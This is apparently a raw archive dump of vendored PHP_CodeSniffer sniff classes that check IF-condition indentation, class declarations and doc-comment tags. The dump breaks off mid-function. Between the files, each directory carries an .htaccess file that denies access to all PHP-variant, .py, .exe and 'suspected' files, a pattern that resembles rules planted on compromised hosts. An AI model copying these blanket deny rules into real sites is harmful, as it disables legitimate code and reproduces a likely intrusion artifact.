<setting id="jp.sourceforge.pdt_tools.formatter.alignment_for_arguments_in_qualified_allocation_expression" value="16"/>
</profile>
</profiles>
PK     \ۯ    l  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/Sniffs/ControlStructures/MultiLineConditionSniff.phpnu [        <?php
/**
 * PEAR_Sniffs_ControlStructures_MultiLineConditionSniff.
 *
 * PHP version 5
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @copyright 2006-2012 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */

/**
 * PEAR_Sniffs_ControlStructures_MultiLineConditionSniff.
 *
 * Ensure multi-line IF conditions are defined correctly.
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @copyright 2006-2012 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence
 * @version   Release: 1.5.1
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */
class PhOSCo_Sniffs_ControlStructures_MultiLineConditionSniff implements PHP_CodeSniffer_Sniff
{

    /**
     * The number of spaces code should be indented.
     *
     * @var int
     */
    public $indent = 4;


    /**
     * Returns an array of tokens this test wants to listen for.
     *
     * @return array
     */
    public function register()
    {
        return array(
                T_IF,
                T_ELSEIF,
               );

    }//end register()


    /**
     * Processes this test, when one of its tokens is encountered.
     *
     * @param PHP_CodeSniffer_File $phpcsFile The file being scanned.
     * @param int                  $stackPtr  The position of the current token
     *                                        in the stack passed in $tokens.
     *
     * @return void
     */
    public function process(PHP_CodeSniffer_File $phpcsFile, $stackPtr)
    {
        $tokens = $phpcsFile->getTokens();

        // We need to work out how far indented the if statement
        // itself is, so we can work out how far to indent conditions.
        $statementIndent = 0;
        for ($i = ($stackPtr - 1); $i >= 0; $i--) {
            if ($tokens[$i]['line'] !== $tokens[$stackPtr]['line']) {
                $i++;
                break;
            }
        }

        if ($i >= 0 && $tokens[$i]['code'] === T_WHITESPACE) {
            $statementIndent = strlen($tokens[$i]['content']);
        }

        // Each line between the parenthesis should be indented 4 spaces
        // and start with an operator, unless the line is inside a
        // function call, in which case it is ignored.
        $openBracket  = $tokens[$stackPtr]['parenthesis_opener'];
        $closeBracket = $tokens[$stackPtr]['parenthesis_closer'];
        $lastLine     = $tokens[$openBracket]['line'];
        for ($i = ($openBracket + 1); $i < $closeBracket; $i++) {
            if ($tokens[$i]['line'] !== $lastLine) {
                if ($tokens[$i]['line'] === $tokens[$closeBracket]['line']) {
                    $next = $phpcsFile->findNext(T_WHITESPACE, $i, null, true);
                    if ($next === $closeBracket) {
                        // Closing bracket is not on the same line as a condition.
                        $error = 'Closing parenthesis of a multi-line IF statement must be on the same line as the last condition';
                        $phpcsFile->addError($error, $i, 'CloseBracketNewLine');
                        $expectedIndent = ($statementIndent + $this->indent);
                    } else {
                        // Closing brace needs to be indented to the same level
                        // as the function.
                        $expectedIndent = $statementIndent + $this->indent;
                    }
                } else {
                    $expectedIndent = ($statementIndent + $this->indent);
                }

                // We changed lines, so this should be a whitespace indent token.
                if ($tokens[$i]['code'] !== T_WHITESPACE) {
                    $foundIndent = 0;
                } else {
                    $foundIndent = strlen($tokens[$i]['content']);
                }

                if ($expectedIndent !== $foundIndent) {
                    $error = 'Multi-line IF statement not indented correctly; expected %s spaces but found %s';
                    $data  = array(
                              $expectedIndent,
                              $foundIndent,
                             );
                    $phpcsFile->addError($error, $i, 'Alignment', $data);
                }

                if ($tokens[$i]['line'] !== $tokens[$closeBracket]['line']) {
                    $next = $phpcsFile->findNext(T_WHITESPACE, $i, null, true);
                    if (in_array($tokens[$next]['code'], PHP_CodeSniffer_Tokens::$booleanOperators) === false) {
                        $error = 'Each line in a multi-line IF statement must begin with a boolean operator';
                        $phpcsFile->addError($error, $i, 'StartWithBoolean');
                    }
                }

                $lastLine = $tokens[$i]['line'];
            }//end if

            if ($tokens[$i]['code'] === T_STRING) {
                $next = $phpcsFile->findNext(T_WHITESPACE, ($i + 1), null, true);
                if ($tokens[$next]['code'] === T_OPEN_PARENTHESIS) {
                    // This is a function call, so skip to the end as they
                    // have their own indentation rules.
                    $i        = $tokens[$next]['parenthesis_closer'];
                    $lastLine = $tokens[$i]['line'];
                    continue;
                }
            }
        }//end for

        // From here on, we are checking the spacing of the opening and closing
        // braces. If this IF statement does not use braces, we end here.
        if (isset($tokens[$stackPtr]['scope_opener']) === false) {
            return;
        }

        // The opening brace needs to be one space away from the closing parenthesis.
        if ($tokens[($closeBracket + 1)]['code'] !== T_WHITESPACE) {
            $length = 0;
        } else if ($tokens[($closeBracket + 1)]['content'] === $phpcsFile->eolChar) {
            $length = -1;
        } else {
            $length = strlen($tokens[($closeBracket + 1)]['content']);
        }

        if ($length !== 1) {
            $data = array($length);
            $code = 'SpaceBeforeOpenBrace';

            $error = 'There must be a single space between the closing parenthesis and the opening brace of a multi-line IF statement; found ';
            if ($length === -1) {
                $error .= 'newline';
                $code   = 'NewlineBeforeOpenBrace';
            } else {
                $error .= '%s spaces';
            }

            $phpcsFile->addError($error, ($closeBracket + 1), $code, $data);
        }

        // And just in case they do something funny before the brace...
        $next = $phpcsFile->findNext(T_WHITESPACE, ($closeBracket + 1), null, true);
        if ($next !== false
            && $tokens[$next]['code'] !== T_OPEN_CURLY_BRACKET
            && $tokens[$next]['code'] !== T_COLON
        ) {
            $error = 'There must be a single space between the closing parenthesis and the opening brace of a multi-line IF statement';
            $phpcsFile->addError($error, $next, 'NoSpaceBeforeOpenBrace');
        }

    }//end process()


}//end class

?>
PK     \Sʉ      Z  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/Sniffs/ControlStructures/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \<0    `  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/Sniffs/Classes/ClassDeclarationSniff.phpnu [        <?php
/**
 * Class Declaration Test.
 *
 * PHP version 5
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @author    Marc McIntyre <mmcintyre@squiz.net>
 * @copyright 2006-2012 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */

/**
 * Class Declaration Test.
 *
 * Checks the declaration of the class is correct.
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @author    Marc McIntyre <mmcintyre@squiz.net>
 * @copyright 2006-2012 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence
 * @version   Release: 1.5.1
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */
class PhOSCo_Sniffs_Classes_ClassDeclarationSniff implements PHP_CodeSniffer_Sniff {

    /**
     * The number of spaces code should be indented.
     *
     * @var int
     */
    public $indent = 4;

    /**
     * Returns an array of tokens this test wants to listen for.
     *
     * @return array
     */
    public function register() {
        return array(T_CLASS, T_INTERFACE,);

    }//end register()

    /**
     * Processes this test, when one of its tokens is encountered.
     *
     * @param PHP_CodeSniffer_File $phpcsFile The file being scanned.
     * @param integer              $stackPtr  The position of the current token in the
     *                                        stack passed in $tokens.
     *
     * @return void
     */
    public function process(PHP_CodeSniffer_File $phpcsFile, $stackPtr) {
        $tokens = $phpcsFile->getTokens();
        $errorData = array($tokens[$stackPtr]['content']);

        if (isset($tokens[$stackPtr]['scope_opener']) === false) {
            $error = 'Possible parse error: %s missing opening or closing brace';
            $phpcsFile->addWarning($error, $stackPtr, 'MissingBrace', $errorData);
            return;
        }

        $curlyBrace = $tokens[$stackPtr]['scope_opener'];
        $lastContent = $phpcsFile->findPrevious(T_WHITESPACE, ($curlyBrace - 1), $stackPtr, true);
        $classLine = $tokens[$lastContent]['line'];
        $braceLine = $tokens[$curlyBrace]['line'];
        if ($braceLine !== $classLine) {
            $error = 'Opening brace of a %s must be on the same line as the definition';
            $phpcsFile->addError($error, $curlyBrace, 'OpenBraceNewLine', $errorData);
            return;
        }

        if ($tokens[($curlyBrace - 1)]['code'] === T_WHITESPACE) {
            $prevContent = $tokens[($curlyBrace - 1)]['content'];
            if ($prevContent === $phpcsFile->eolChar) {
                $spaces = 0;
            } else {
                $blankSpace = substr($prevContent, strpos($prevContent, $phpcsFile->eolChar));
                $spaces = strlen($blankSpace);
            }

            $expected = 1;
            if ($spaces !== $expected) {
                $error = 'Expected %s spaces before opening brace; %s found';
                $data = array($expected, $spaces,);
                $phpcsFile->addError($error, $curlyBrace, 'SpaceBeforeBrace', $data);
            }
        }

    }//end process()

}//end class

?>
PK     \Sʉ      P  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/Sniffs/Classes/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \:R"  R"  _  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/Sniffs/Commenting/ClassCommentSniff.phpnu [        <?php
/**
 * Parses and verifies the doc comments for classes.
 *
 * PHP version 5
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @author    Marc McIntyre <mmcintyre@squiz.net>
 * @copyright 2006-2012 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */

if (class_exists('PHP_CodeSniffer_CommentParser_ClassCommentParser', true) === false) {
    $error = 'Class PHP_CodeSniffer_CommentParser_ClassCommentParser not found';
    throw new PHP_CodeSniffer_Exception($error);
}

if (class_exists('PhOSCo_Sniffs_Commenting_FileCommentSniff', true) === false) {
    $error = 'Class PhOSCo_Sniffs_Commenting_FileCommentSniff not found';
    throw new PHP_CodeSniffer_Exception($error);
}

/**
 * Parses and verifies the doc comments for classes.
 *
 * Verifies that :
 * <ul>
 *  <li>A doc comment exists.</li>
 *  <li>There is a blank newline after the short description.</li>
 *  <li>There is a blank newline between the long and short description.</li>
 *  <li>There is a blank newline between the long description and tags.</li>
 *  <li>Check the order of the tags.</li>
 *  <li>Check the indentation of each tag.</li>
 *  <li>Check required and optional tags and the format of their content.</li>
 * </ul>
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @author    Marc McIntyre <mmcintyre@squiz.net>
 * @copyright 2006-2012 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence
 * @version   Release: 1.5.1
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */
class PhOSCo_Sniffs_Commenting_ClassCommentSniff extends PhOSCo_Sniffs_Commenting_FileCommentSniff {

    /**
     * Returns an array of tokens this test wants to listen for.
     *
     * @return array
     */
    public function register() {
        return array(T_CLASS, T_INTERFACE,);

    }//end register()

    /**
     * Processes this test, when one of its tokens is encountered.
     *
     * @param PHP_CodeSniffer_File $phpcsFile The file being scanned.
     * @param int                  $stackPtr  The position of the current token
     *                                        in the stack passed in $tokens.
     *
     * @return void
     */
    public function process(PHP_CodeSniffer_File $phpcsFile, $stackPtr) {

        $this->currentFile = $phpcsFile;

        $tokens = $phpcsFile->getTokens();
        $type = strtolower($tokens[$stackPtr]['content']);
        $errorData = array($type);
        $find = array(T_ABSTRACT, T_WHITESPACE, T_FINAL,);

        // Extract the class comment docblock.
        $commentEnd = $phpcsFile->findPrevious($find, ($stackPtr - 1), null, true);

        if ($commentEnd !== false && $tokens[$commentEnd]['code'] === T_COMMENT) {
            $error = 'You must use "/**" style comments for a %s comment';
            $phpcsFile->addError($error, $stackPtr, 'WrongStyle', $errorData);
            return;
        } else if ($commentEnd === false || $tokens[$commentEnd]['code'] !== T_DOC_COMMENT) {
            $phpcsFile->addError('Missing %s doc comment', $stackPtr, 'Missing', $errorData);
            return;
        }

        $commentStart = ($phpcsFile->findPrevious(T_DOC_COMMENT, ($commentEnd - 1), null, true) + 1);
        $commentNext = $phpcsFile->findPrevious(T_WHITESPACE, ($commentEnd + 1), $stackPtr, false, $phpcsFile->eolChar);

        // Distinguish file and class comment.
        $prevClassToken = $phpcsFile->findPrevious(T_CLASS, ($stackPtr - 1));
        if ($prevClassToken === false) {
            // This is the first class token in this file, need extra checks.
            $prevNonComment = $phpcsFile->findPrevious(T_DOC_COMMENT, ($commentStart - 1), null, true);
            if ($prevNonComment !== false) {
                $prevComment = $phpcsFile->findPrevious(T_DOC_COMMENT, ($prevNonComment - 1));
                if ($prevComment === false) {
                    // There is only 1 doc comment between open tag and class token.
                    $newlineToken = $phpcsFile->findNext(T_WHITESPACE, ($commentEnd + 1), $stackPtr, false,
                        $phpcsFile->eolChar);
                    if ($newlineToken !== false) {
                        $newlineToken = $phpcsFile->findNext(T_WHITESPACE, ($newlineToken + 1), $stackPtr, false,
                            $phpcsFile->eolChar);

                        if ($newlineToken !== false) {
                            // Blank line between the class and the doc block.
                            // The doc block is most likely a file comment.
                            $error = 'Missing %s doc comment';
                            $phpcsFile->addError($error, ($stackPtr + 1), 'Missing', $errorData);
                            return;
                        }
                    }//end if
                }//end if
            }//end if
        }//end if

        $comment = $phpcsFile->getTokensAsString($commentStart, ($commentEnd - $commentStart + 1));

        // Parse the class comment.docblock.
        try {
            $this->commentParser = new PHP_CodeSniffer_CommentParser_ClassCommentParser($comment, $phpcsFile);
            $this->commentParser->parse();
        } catch (PHP_CodeSniffer_CommentParser_ParserException $e) {
            $line = ($e->getLineWithinComment() + $commentStart);
            $phpcsFile->addError($e->getMessage(), $line, 'FailedParse');
            return;
        }

        $comment = $this->commentParser->getComment();
        if (is_null($comment) === true) {
            $error = 'Doc comment is empty for %s';
            $phpcsFile->addError($error, $commentStart, 'Empty', $errorData);
            return;
        }

        // No extra newline before short description.
        $short = $comment->getShortComment();
        $newlineCount = 0;
        $newlineSpan = strspn($short, $phpcsFile->eolChar);
        if ($short !== '' && $newlineSpan > 0) {
            $error = 'Extra newline(s) found before %s comment short description';
            $phpcsFile->addError($error, ($commentStart + 1), 'SpacingBeforeShort', $errorData);
        }

        $newlineCount = (substr_count($short, $phpcsFile->eolChar) + 1);

        // Exactly one blank line between short and long description.
        $long = $comment->getLongComment();
        if (empty($long) === false) {
            $between = $comment->getWhiteSpaceBetween();
            $newlineBetween = substr_count($between, $phpcsFile->eolChar);
            if ($newlineBetween !== 2) {
                $error = 'There must be exactly one blank line between descriptions in %s comments';
                $phpcsFile->addError($error, ($commentStart + $newlineCount + 1), 'SpacingAfterShort', $errorData);
            }

            $newlineCount += $newlineBetween;
        }

        // Exactly one blank line before tags.
        $tags = $this->commentParser->getTagOrders();
        if (count($tags) > 1) {
            $newlineSpan = $comment->getNewlineAfter();
            if ($newlineSpan !== 2) {
                $error = 'There must be exactly one blank line before the tags in %s comments';
                if ($long !== '') {
                    $newlineCount += (substr_count($long, $phpcsFile->eolChar) - $newlineSpan + 1);
                }

                $phpcsFile->addError($error, ($commentStart + $newlineCount), 'SpacingBeforeTags', $errorData);
                $short = rtrim($short, $phpcsFile->eolChar . ' ');
            }
        }

        // Check each tag.
        $this->processTags($commentStart, $commentEnd);

    }//end process()

    /**
     * Process the version tag.
     *
     * @param int $errorPos The line number where the error occurs.
     *
     * @return void
     */
    protected function processVersion($errorPos) {
        $version = $this->commentParser->getVersion();
        if ($version !== null) {
            $content = $version->getContent();
            $matches = array();
            if (empty($content) === true) {
                $error = 'Content missing for @version tag in doc comment';
                $this->currentFile->addError($error, $errorPos, 'EmptyVersion');
            } else if ((strstr($content, 'Release:') === false)) {
                $error = 'Invalid version "%s" in doc comment; consider "Release: <package_version>" instead';
                $data = array($content);
                $this->currentFile->addWarning($error, $errorPos, 'InvalidVersion', $data);
            }
        }

    }//end processVersion()

}//end class

?>
PK     \L2\Ji  i  ^  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/Sniffs/Commenting/FileCommentSniff.phpnu [        <?php
/**
 * Parses and verifies the doc comments for files.
 *
 * PHP version 5
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @author    Marc McIntyre <mmcintyre@squiz.net>
 * @copyright 2006-2012 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */

if (class_exists('PHP_CodeSniffer_CommentParser_ClassCommentParser', true) === false) {
    throw new PHP_CodeSniffer_Exception('Class PHP_CodeSniffer_CommentParser_ClassCommentParser not found');
}

/**
 * Parses and verifies the doc comments for files.
 *
 * Verifies that :
 * <ul>
 *  <li>A doc comment exists.</li>
 *  <li>There is a blank newline after the short description.</li>
 *  <li>There is a blank newline between the long and short description.</li>
 *  <li>There is a blank newline between the long description and tags.</li>
 *  <li>A PHP version is specified.</li>
 *  <li>Check the order of the tags.</li>
 *  <li>Check the indentation of each tag.</li>
 *  <li>Check required and optional tags and the format of their content.</li>
 * </ul>
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @author    Marc McIntyre <mmcintyre@squiz.net>
 * @copyright 2006-2012 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence
 * @version   Release: 1.5.1
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */

class PhOSCo_Sniffs_Commenting_FileCommentSniff implements PHP_CodeSniffer_Sniff {

    /**
     * The header comment parser for the current file.
     *
     * @var PHP_CodeSniffer_Comment_Parser_ClassCommentParser
     */
    protected $commentParser = null;

    /**
     * The current PHP_CodeSniffer_File object we are processing.
     *
     * @var PHP_CodeSniffer_File
     */
    protected $currentFile = null;

    /**
     * Tags in correct order and related info.
     *
     * @var array
     */
    protected $tags = array(
            'author' => array('required' => true, 'allow_multiple' => true,
                              'order_text' => 'follows @subpackage (if used) or @package',),
            'copyright' => array('required' => false, 'allow_multiple' => true, 'order_text' => 'follows @author',),
            'license' => array('required' => true, 'allow_multiple' => false,
                               'order_text' => 'follows @copyright (if used) or @author',),
            'version' => array('required' => false, 'allow_multiple' => false, 'order_text' => 'follows @license',),
            'see' => array('required' => false, 'allow_multiple' => true, 'order_text' => 'follows @link',),
            'since' => array('required' => false, 'allow_multiple' => false,
                             'order_text' => 'follows @see (if used) or @link',),
            'deprecated' => array('required' => false, 'allow_multiple' => false,
                                  'order_text' => 'follows @since (if used) or @see (if used) or @link',),);

    /**
     * Returns an array of tokens this test wants to listen for.
     *
     * @return array
     */
    public function register() {
        return array(T_OPEN_TAG);

    }//end register()

    /**
     * Processes this test, when one of its tokens is encountered.
     *
     * @param PHP_CodeSniffer_File $phpcsFile The file being scanned.
     * @param int                  $stackPtr  The position of the current token
     *                                        in the stack passed in $tokens.
     *
     * @return void
     */
    public function process(PHP_CodeSniffer_File $phpcsFile, $stackPtr) {
        $this->currentFile = $phpcsFile;

        // We are only interested if this is the first open tag.
        if ($stackPtr !== 0) {
            if ($phpcsFile->findPrevious(T_OPEN_TAG, ($stackPtr - 1)) !== false) {
                return;
            }
        }

        $tokens = $phpcsFile->getTokens();

        // Find the next non whitespace token.
        $commentStart = $phpcsFile->findNext(T_WHITESPACE, ($stackPtr + 1), null, true);

        // Allow declare() statements at the top of the file.
        if ($tokens[$commentStart]['code'] === T_DECLARE) {
            $semicolon = $phpcsFile->findNext(T_SEMICOLON, ($commentStart + 1));
            $commentStart = $phpcsFile->findNext(T_WHITESPACE, ($semicolon + 1), null, true);
        }

        // Ignore vim header.
        if ($tokens[$commentStart]['code'] === T_COMMENT) {
            if (strstr($tokens[$commentStart]['content'], 'vim:') !== false) {
                $commentStart = $phpcsFile->findNext(T_WHITESPACE, ($commentStart + 1), null, true);
            }
        }

        $errorToken = ($stackPtr + 1);
        if (isset($tokens[$errorToken]) === false) {
            $errorToken--;
        }

        if ($tokens[$commentStart]['code'] === T_CLOSE_TAG) {
            // We are only interested if this is the first open tag.
            return;
        } else if ($tokens[$commentStart]['code'] === T_COMMENT) {
            $error = 'You must use "/**" style comments for a file comment';
            $phpcsFile->addError($error, $errorToken, 'WrongStyle');
            return;
        } else if ($commentStart === false || $tokens[$commentStart]['code'] !== T_DOC_COMMENT) {
            $phpcsFile->addError('Missing file doc comment', $errorToken, 'Missing');
            return;
        } else {

            // Extract the header comment docblock.
            $commentEnd = $phpcsFile->findNext(T_DOC_COMMENT, ($commentStart + 1), null, true);

            $commentEnd--;

            // Check if there is only 1 doc comment between the
            // open tag and class token.
            $nextToken = array(T_ABSTRACT, T_CLASS, T_FUNCTION, T_DOC_COMMENT,);

            $commentNext = $phpcsFile->findNext($nextToken, ($commentEnd + 1));
            if ($commentNext !== false && $tokens[$commentNext]['code'] !== T_DOC_COMMENT) {
                // Found a class token right after comment doc block.
                $newlineToken = $phpcsFile->findNext(T_WHITESPACE, ($commentEnd + 1), $commentNext, false,
                    $phpcsFile->eolChar);

                if ($newlineToken !== false) {
                    $newlineToken = $phpcsFile->findNext(T_WHITESPACE, ($newlineToken + 1), $commentNext, false,
                        $phpcsFile->eolChar);

                    if ($newlineToken === false) {
                        // No blank line between the class token and the doc block.
                        // The doc block is most likely a class comment.
                        $error = 'Missing file doc comment';
                        $phpcsFile->addError($error, $errorToken, 'Missing');
                        return;
                    }
                }
            }//end if

            $comment = $phpcsFile->getTokensAsString($commentStart, ($commentEnd - $commentStart + 1));

            // Parse the header comment docblock.
            try {
                $this->commentParser = new PHP_CodeSniffer_CommentParser_ClassCommentParser($comment, $phpcsFile);
                $this->commentParser->parse();
            } catch (PHP_CodeSniffer_CommentParser_ParserException $e) {
                $line = ($e->getLineWithinComment() + $commentStart);
                $phpcsFile->addError($e->getMessage(), $line, 'FailedParse');
                return;
            }

            $comment = $this->commentParser->getComment();
            if (is_null($comment) === true) {
                $error = 'File doc comment is empty';
                $phpcsFile->addError($error, $commentStart, 'Empty');
                return;
            }

            // No extra newline before short description.
            $short = $comment->getShortComment();
            $newlineCount = 0;
            $newlineSpan = strspn($short, $phpcsFile->eolChar);
            if ($short !== '' && $newlineSpan > 0) {
                $error = 'Extra newline(s) found before file comment short description';
                $phpcsFile->addError($error, ($commentStart + 1), 'SpacingBefore');
            }

            $newlineCount = (substr_count($short, $phpcsFile->eolChar) + 1);

            // Exactly one blank line between short and long description.
            $long = $comment->getLongComment();
            if (empty($long) === false) {
                $between = $comment->getWhiteSpaceBetween();
                $newlineBetween = substr_count($between, $phpcsFile->eolChar);
                if ($newlineBetween !== 2) {
                    $error = 'There must be exactly one blank line between descriptions in file comment';
                    $phpcsFile->addError($error, ($commentStart + $newlineCount + 1), 'DescriptionSpacing');
                }

                $newlineCount += $newlineBetween;
            }

            // Exactly one blank line before tags.
            $tags = $this->commentParser->getTagOrders();
            if (count($tags) > 1) {
                $newlineSpan = $comment->getNewlineAfter();
                if ($newlineSpan !== 2) {
                    $error = 'There must be exactly one blank line before the tags in file comment';
                    if ($long !== '') {
                        $newlineCount += (substr_count($long, $phpcsFile->eolChar) - $newlineSpan + 1);
                    }

                    $phpcsFile->addError($error, ($commentStart + $newlineCount), 'SpacingBeforeTags');
                    $short = rtrim($short, $phpcsFile->eolChar . ' ');
                }
            }

            // Check the PHP Version.
            $this->processPHPVersion($commentStart, $commentEnd, $long);

            // Check each tag.
            $this->processTags($commentStart, $commentEnd);
        }//end if

    }//end process()

    /**
     * Check that the PHP version is specified.
     *
     * @param int    $commentStart Position in the stack where the comment started.
     * @param int    $commentEnd   Position in the stack where the comment ended.
     * @param string $commentText  The text of the function comment.
     *
     * @return void
     */
    protected function processPHPVersion($commentStart, $commentEnd, $commentText) {
        if (strstr(strtolower($commentText), 'php version') === false) {
            $error = 'PHP version not specified';
            $this->currentFile->addWarning($error, $commentEnd, 'MissingVersion');
        }

    }//end processPHPVersion()

    /**
     * Processes each required or optional tag.
     *
     * @param int $commentStart Position in the stack where the comment started.
     * @param int $commentEnd   Position in the stack where the comment ended.
     *
     * @return void
     */
    protected function processTags($commentStart, $commentEnd) {
        $docBlock = (get_class($this) === 'PhOSCo_Sniffs_Commenting_FileCommentSniff') ? 'file' : 'class';
        $foundTags = $this->commentParser->getTagOrders();
        $orderIndex = 0;
        $indentation = array();
        $longestTag = 0;
        $errorPos = 0;

        foreach ($this->tags as $tag => $info) {

            // Required tag missing.
            if ($info['required'] === true && in_array($tag, $foundTags) === false) {
                $error = 'Missing @%s tag in %s comment';
                $data = array($tag, $docBlock,);
                $this->currentFile->addError($error, $commentEnd, 'MissingTag', $data);
                continue;
            }

            // Get the line number for current tag.
            $tagName = ucfirst($tag);
            if ($info['allow_multiple'] === true) {
                $tagName .= 's';
            }

            $getMethod = 'get' . $tagName;
            $tagElement = $this->commentParser->$getMethod();
            if (is_null($tagElement) === true || empty($tagElement) === true) {
                continue;
            }

            $errorPos = $commentStart;
            if (is_array($tagElement) === false) {
                $errorPos = ($commentStart + $tagElement->getLine());
            }

            // Get the tag order.
            $foundIndexes = array_keys($foundTags, $tag);

            if (count($foundIndexes) > 1) {
                // Multiple occurrence not allowed.
                if ($info['allow_multiple'] === false) {
                    $error = 'Only 1 @%s tag is allowed in a %s comment';
                    $data = array($tag, $docBlock,);
                    $this->currentFile->addError($error, $errorPos, 'DuplicateTag', $data);
                } else {
                    // Make sure same tags are grouped together.
                    $i = 0;
                    $count = $foundIndexes[0];
                    foreach ($foundIndexes as $index) {
                        if ($index !== $count) {
                            $errorPosIndex = ($errorPos + $tagElement[$i]->getLine());
                            $error = '@%s tags must be grouped together';
                            $data = array($tag);
                            $this->currentFile->addError($error, $errorPosIndex, 'TagsNotGrouped', $data);
                        }

                        $i++;
                        $count++;
                    }
                }
            }//end if

            // Check tag order.
            if ($foundIndexes[0] > $orderIndex) {
                $orderIndex = $foundIndexes[0];
            } else {
                if (is_array($tagElement) === true && empty($tagElement) === false) {
                    $errorPos += $tagElement[0]->getLine();
                }

                $error = 'The @%s tag is in the wrong order; the tag %s';
                $data = array($tag, $info['order_text'],);
                $this->currentFile->addError($error, $errorPos, 'WrongTagOrder', $data);
            }

            // Store the indentation for checking.
            $len = strlen($tag);
            if ($len > $longestTag) {
                $longestTag = $len;
            }

            if (is_array($tagElement) === true) {
                foreach ($tagElement as $key => $element) {
                    $indentation[] = array('tag' => $tag, 'space' => $this->getIndentation($tag, $element),
                                           'line' => $element->getLine(),);
                }
            } else {
                $indentation[] = array('tag' => $tag, 'space' => $this->getIndentation($tag, $tagElement),);
            }

            $method = 'process' . $tagName;
            if (method_exists($this, $method) === true) {
                // Process each tag if a method is defined.
                call_user_func(array($this, $method), $errorPos);
            } else {
                if (is_array($tagElement) === true) {
                    foreach ($tagElement as $key => $element) {
                        $element->process($this->currentFile, $commentStart, $docBlock);
                    }
                } else {
                    $tagElement->process($this->currentFile, $commentStart, $docBlock);
                }
            }
        }//end foreach

        foreach ($indentation as $indentInfo) {
            if ($indentInfo['space'] !== 0 && $indentInfo['space'] !== ($longestTag + 1)) {
                $expected = (($longestTag - strlen($indentInfo['tag'])) + 1);
                $space = ($indentInfo['space'] - strlen($indentInfo['tag']));
                $error = '@%s tag comment indented incorrectly; expected %s spaces but found %s';
                $data = array($indentInfo['tag'], $expected, $space,);

                $getTagMethod = 'get' . ucfirst($indentInfo['tag']);

                if ($this->tags[$indentInfo['tag']]['allow_multiple'] === true) {
                    $line = $indentInfo['line'];
                } else {
                    $tagElem = $this->commentParser->$getTagMethod();
                    $line = $tagElem->getLine();
                }

                $this->currentFile->addError($error, ($commentStart + $line), 'TagIndent', $data);
            }
        }

    }//end processTags()

    /**
     * Get the indentation information of each tag.
     *
     * @param string                                   $tagName    The name of the
     *                                                             doc comment
     *                                                             element.
     * @param PHP_CodeSniffer_CommentParser_DocElement $tagElement The doc comment
     *                                                             element.
     *
     * @return void
     */
    protected function getIndentation($tagName, $tagElement) {
        if ($tagElement instanceof PHP_CodeSniffer_CommentParser_SingleElement) {
            if ($tagElement->getContent() !== '') {
                return (strlen($tagName) + substr_count($tagElement->getWhitespaceBeforeContent(), ' '));
            }
        } else if ($tagElement instanceof PHP_CodeSniffer_CommentParser_PairElement) {
            if ($tagElement->getValue() !== '') {
                return (strlen($tagName) + substr_count($tagElement->getWhitespaceBeforeValue(), ' '));
            }
        }

        return 0;

    }//end getIndentation()

    /**
     * Process the category tag.
     *
     * @param int $errorPos The line number where the error occurs.
     *
     * @return void
     */
    protected function processCategory($errorPos) {
        $category = $this->commentParser->getCategory();
        if ($category !== null) {
            $content = $category->getContent();
            if ($content !== '') {
                if (PHP_CodeSniffer::isUnderscoreName($content) !== true) {
